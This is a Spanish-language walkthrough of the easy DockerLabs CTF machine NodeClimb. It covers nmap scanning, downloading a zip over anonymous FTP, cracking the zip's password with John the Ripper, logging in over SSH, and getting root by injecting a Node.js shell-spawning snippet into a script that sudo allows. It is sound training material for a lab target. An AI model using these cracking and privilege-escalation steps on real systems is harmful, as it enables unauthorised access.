Skip to content

NodeClimb

This content is not available in your language yet.

En este artículo se documenta la resolución de la máquina virtual NodeClimb, creada por El Pingüino de Mario, y categorizada como de dificultad fácil. A lo largo del documento se describen detalladamente las fases de reconocimiento, explotación y elevación de privilegios, empleando herramientas comunes en entornos CTF para comprometer el sistema objetivo.

  • Nombre: NodeClimb
  • Autor: El Pingüino de Mario
  • Nivel de Dificultad: Fácil
  • Fecha de creación: 05/07/2024
  1. Descargamos la máquina desde DockerLabs.

  2. Descomprimimos el archivo:

    Ventana de terminal
    unzip NodeClimb.zip
  3. Ejecutamos el script de despliegue:

    Ventana de terminal
    sudo bash auto_deplo.sh NodeClimb.tar

Al iniciar la máquina, esta muestra directamente su dirección IP, por lo que no es necesario realizar un escaneo ARP.

IP image

Organizamos el entorno de trabajo creando la estructura de carpetas:

Ventana de terminal
mkdir NodeClimb
cd NodeClimb
mkt # Crea: content, exploits, nmap, scripts

Ejecutamos un escaneo completo con nmap:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

A continuación, extraemos los puertos abiertos:

Ventana de terminal
extractPorts allPorts

Puertos abiertos

Realizamos un escaneo más detallado para identificar versiones de servicios:

Ventana de terminal
nmap -sCV -p22,80 172.17.0.2 -oN targeted

Servicios

Durante esta fase identificamos un archivo interesante en el servidor FTP: secretitopicarion.zip.

El servidor FTP permite autenticación anónima (ftp-anon), lo que nos permite listar y descargar archivos sin necesidad de credenciales.

ftp-annon

Usamos ls para verificar el contenido disponible y descargamos el archivo comprimido:

ftp-ls

El archivo secretitopicarion.zip está protegido por contraseña. Aplicamos fuerza bruta utilizando John the Ripper:

  1. Generamos el hash del archivo:

    Ventana de terminal
    zip2john secretitopicarion.zip > hash.txt

    hash

  2. Ejecutamos el crackeo con la wordlist rockyou.txt:

    Ventana de terminal
    john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

    cracked password

Una vez extraído el contenido, accedemos al archivo password.txt, el cual contiene un usuario y contraseña válidos para conectarnos por SSH.

password

ssh

En la sesión SSH encontramos un archivo interesante: script.js.

Comprobamos los privilegios disponibles con sudo -l:

sudo -l

Se nos permite ejecutar el archivo script.js como superusuario utilizando Node.js. Insertamos el siguiente código en el archivo para obtener una shell como root:

process.setuid(0);
require("child_process").spawn("/bin/sh", { stdio: [0, 1, 2] });

Ejecutamos el script con privilegios:

Ventana de terminal
sudo /usr/bin/node /home/mario/script.js

Elevación Privilegios

Esto nos otorga acceso como superusuario.

Root

La máquina NodeClimb nos permitió practicar diferentes vectores de ataque, desde el acceso anónimo por FTP hasta la explotación de scripts en Node.js para escalar privilegios. A través de una metodología estructurada —reconocimiento, enumeración, explotación y post-explotación— logramos comprometer completamente el sistema y obtener acceso como usuario root.